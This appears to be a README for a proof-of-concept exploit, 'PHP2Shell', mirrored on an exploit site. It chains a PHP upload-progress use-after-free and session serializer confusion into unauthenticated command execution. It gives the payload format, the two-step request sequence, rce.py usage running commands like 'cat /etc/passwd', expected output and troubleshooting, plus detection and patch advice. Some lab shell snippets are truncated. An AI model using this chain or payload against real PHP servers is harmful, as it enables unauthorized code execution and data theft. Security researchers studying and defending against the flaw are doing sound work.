Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • October 21, 2026

![Platform](

![CVSS](

![License](

A self-contained lab and PoC for the **PHP2Shell** vulnerability chain affecting PHP's

`session.upload_progress` mechanism (`php_session_rfc1867_callback`, `ext/session/session.c`).

- A **Docker lab** that reproduces the vulnerable per-directory `session.serialize_handler`

- A **Python exploit** (`rce.py`) that chains the bug into unauthenticated command

- Documentation of the **expected output** so you can distinguish a successful run from a

failed one, including the warning message that looks like an error but is not.

> **Educational / authorized testing only.** See [Legal](#legal) before doing anything.

- [Affected Components](#affected-components)

- [Reading the Output](#reading-the-output)

- [Detection and Mitigation](#detection-and-mitigation)

PHP's upload progress feature (`session.upload_progress.enabled`, on by default since 5.4)

caches raw `zval *` bucket pointers into the session HashTable from

`php_session_rfc1867_callback`. When a session is re-initialized between chunked upload

events, the old HashTable is freed while those pointers remain cached. The result is a

**Use-After-Free**. Subsequent progress updates write through dangling pointers.

The full chain documented here additionally abuses a **per-directory

`session.serialize_handler` mismatch**. A session file written by a directory using

`php_serialize` can be read by a directory using the default `php` handler. The attacker

controls the session ID (via a POST field, not just a cookie), plants a serialized object,

and the victim directory's `session_start()` instantiates it, firing `__destruct()` on

The two CVEs cover the related manifestations:

| CVE-2026-109618 | `session.upload_progress` UAF | Primary memory-corruption bug |

| CVE-2026-109619 | `session.upload_progress` handler confusion | Serialization-handler chain used here |

| Affected | PHP builds with `session.upload_progress.enabled = On` (default) |

| Trigger | Unauthenticated HTTP request; no cookie required (`session.use_only_cookies = Off`) |

| Precondition | Two directories sharing a session save path but differing in `session.serialize_handler` |

**Patched in:** PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35 (verify against vendor advisories;

always confirm version numbers from the official PHP release notes for your branch).

docker ps # expect 127.0.0.1:8080->80/tcp

curl -s # expect "[api] session started"

docker rm -f php2shell-lab && docker rmi php2shell-lab

**Requirements:** Docker (with your user in the `docker` group), Python 3.10 or newer.

The `lab` script builds the environment from scratch, with no external repos to clone.

mkdir -p "$LAB/webroot/app" "$LAB/webroot/api"

cat > Dockerfile /usr/local/etc/php/conf.d/zz-lab.ini

cat > webroot/app/seed.php webroot/app/.htaccess webroot/api/app.php cmd) && $this->cmd !== '') {

docker rm -f php2shell-lab >/dev/null 2>&1 || true

docker run -d --name php2shell-lab -p 127.0.0.1:8080:80 php2shell-lab

curl -s

| `app/.htaccess` with `php_serialize` | Creates the handler mismatch that the chain depends on |

| `session.upload_progress.cleanup = Off` | **Critical.** With the default `On`, PHP deletes the progress entry once the POST body is fully read, so your seed disappears before step 2 |

| `session.use_only_cookies = Off` | Lets PHP accept `PHPSESSID` as a form field, so no cookie jar is needed |

| `Logger::__destruct()` | The gadget: runs `$this->cmd` when the object is destroyed |

| `-p 127.0.0.1:8080:80` | Binds to loopback only, so the vulnerable box is not reachable from the LAN |

> The lab binds to `127.0.0.1` deliberately. Do not change this to `0.0.0.0` on a shared

python3 rce.py [-h] [--seed-path PATH] [--trigger-path PATH]

[--gadget CLASS] [--prop PROP] [--sid HEX]

python3 rce.py 127.0.0.1 8080 "id; uname -a; cat /etc/passwd"

# Custom gadget class (must exist in the trigger endpoint)

python3 rce.py 127.0.0.1 8080 "id" --gadget MyClass --prop command

# Explicit session ID for repeatable runs

python3 rce.py 127.0.0.1 8080 "id" --sid 0123456789abcdef0123456789abcdef

# Override endpoint paths if your target differs

| `host` | none | Target hostname or IP |

| `port` | none | Target port (lab: **8080**) |

| `cmd` | none | Shell command executed via the gadget |

| `--seed-path` | `/app/seed.php` | Endpoint under the `php_serialize` directory |

| `--trigger-path` | `/api/app.php` | Endpoint under the `php` directory that calls `session_start()` |

| `--gadget` | `Logger` | Class whose `__destruct()` runs the command |

| `--prop` | `cmd` | Property carrying the command string |

| `--timeout` | `20.0` | Per-request socket timeout (seconds) |

A multipart POST to `/app/seed.php` containing:

- `PHPSESSID`, an attacker-chosen session ID

- `PHP_SESSION_UPLOAD_PROGRESS`, value prefixed with `|`, followed by a serialized

object: `O:6:"Logger":1:{s:3:"cmd";s:2:"id";}`

- A file part to trigger the upload-progress path

Because `/app` uses `php_serialize`, the session file is written in a predictable,

attacker-controllable layout. The payload lands in `/tmp/sess_`.

A GET to `/api/app.php` with `Cookie: PHPSESSID=`. This directory uses the default

`php` handler, which parses the same file with different rules and **instantiates the

injected object**. When decoding subsequently fails (the trailing progress-array data

guarantees this), PHP destroys the object, and `Logger::__destruct()` calls `system()`

That ordering is the key detail: the command executes during cleanup, so the

"Failed to decode session object" warning appears after your output, not instead of it.

[*] CVE-2026-109618/619, session.upload_progress

[*] sid=1c2ab5a2f0947fdd79e596433248a14c payload=40 B gadget=Logger->cmd

[1] seed POST /app/seed.php -> HTTP 200 (10 B)

[2] fire GET /api/app.php -> HTTP 200 (192 B)

Warning: session_start(): Failed to decode session object. Session has been destroyed in /var/www/html/api/app.php on line 10

Warning: session_start(): Failed to decode session object. Session has been destroyed

This is **not** a failure. `__destruct()`, and therefore `system()`, runs during the

decode-failure cleanup path, **before** the warning is emitted. The trailing data in the

seeded session blob forces this failure deliberately. Remove the trailing data and the

| `www-data` (or any command stdout) in the body | Command executed |

| `sh: 1: : not found` | Command executed, shell tried and failed to find the binary |

| `Failed to decode session object` | Expected, this is the destruction path |

| Only `[api] session started`, nothing else | Gadget did not fire |

| `ConnectionRefusedError` | Wrong port | Lab maps host **8080** to container 80. Use `8080` |

| `permission denied ... /var/run/docker.sock` | User not in `docker` group | `sudo usermod -aG docker $USER && newgrp docker` |

| Seed returns HTTP 500 | `.htaccess` `php_value` rejected | `docker exec php2shell-lab php -i \| grep serialize_handler` |

| Seed OK, no command output, no warning | Session cleanup deleted the seed | Confirm `session.upload_progress.cleanup = Off` inside the container |

| Seed OK, warning present, no output | Gadget class not defined before `session_start()` | `class Logger` must appear **above** the `session_start()` call |

| `curl returns 403 | No index file in web root | Expected, target the specific endpoints |

| Everything looks right but no output | Command produced no stdout | Try `id`; check `docker logs php2shell-lab` for PHP fatals |

The fastest diagnostic. Replace `` with the value printed by `rce.py`:

docker exec php2shell-lab ls -la /tmp/sess_*

You should see `O:6:"Logger"` and your command. If the file is empty or missing, the seed

never landed. If it exists but contains no `Logger` string, the seed directory is not

docker logs php2shell-lab 2>&1 | tail -40

`unserialize(): Error at offset ...` warnings are benign. A fatal

`Class "Logger" not found` means the gadget class is defined too late in the trigger file.

1. **Patch.** Upgrade to the fixed PHP release for your branch. This is the only complete

2. **Disable the feature** as a stopgap: `session.upload_progress.enabled = Off`.

PHP release managers have noted this is **insufficient as a sole mitigation**. Treat

it as defence in depth, not a substitute for patching.

3. **Normalise handlers.** Ensure every directory sharing a session save path uses the

*same* `session.serialize_handler`. The mismatch is the exploitable precondition.

4. **Harden session config:** `session.use_strict_mode = On`,

- Requests containing a `PHP_SESSION_UPLOAD_PROGRESS` field whose value begins with `|`

and contains `O::"`, a serialized object where PHP expects a plain string.

- `PHPSESSID` supplied as a **form field** rather than a cookie.

- `session_start(): Failed to decode session object` in logs, especially clustered by

- Session files in the save path containing serialized objects with string properties

- PHP source: `ext/session/session.c`, `php_session_rfc1867_callback`

- PHP release notes and security advisories:

> Verify all CVE identifiers, affected versions, and patch levels against the official

> vendor advisory before relying on them. This repository documents a lab reproduction;

> the authoritative source is always the upstream security announcement.

This software is provided **for security research, education, and authorized testing

**Permitted:** running it against the Docker lab in this repository, or against systems

you own or have **explicit written authorization** to test.

**Not permitted:** using it against any system without authorization. Unauthorized access

to computer systems is illegal in most jurisdictions (for example CFAA in the US,

Computer Misuse Act in the UK, similar statutes in the EU and elsewhere) and carries

The authors accept **no liability** for misuse or for any damage caused by this software.

You are solely responsible for complying with all applicable laws and for obtaining

permission before testing. If you find this vulnerability in a production system, follow

responsible disclosure: the vendor, do not publish exploit details before a fix

is available, and do not access data beyond what is needed to demonstrate the issue.

MIT, see [LICENSE](LICENSE). The license applies to the code; the legal notice above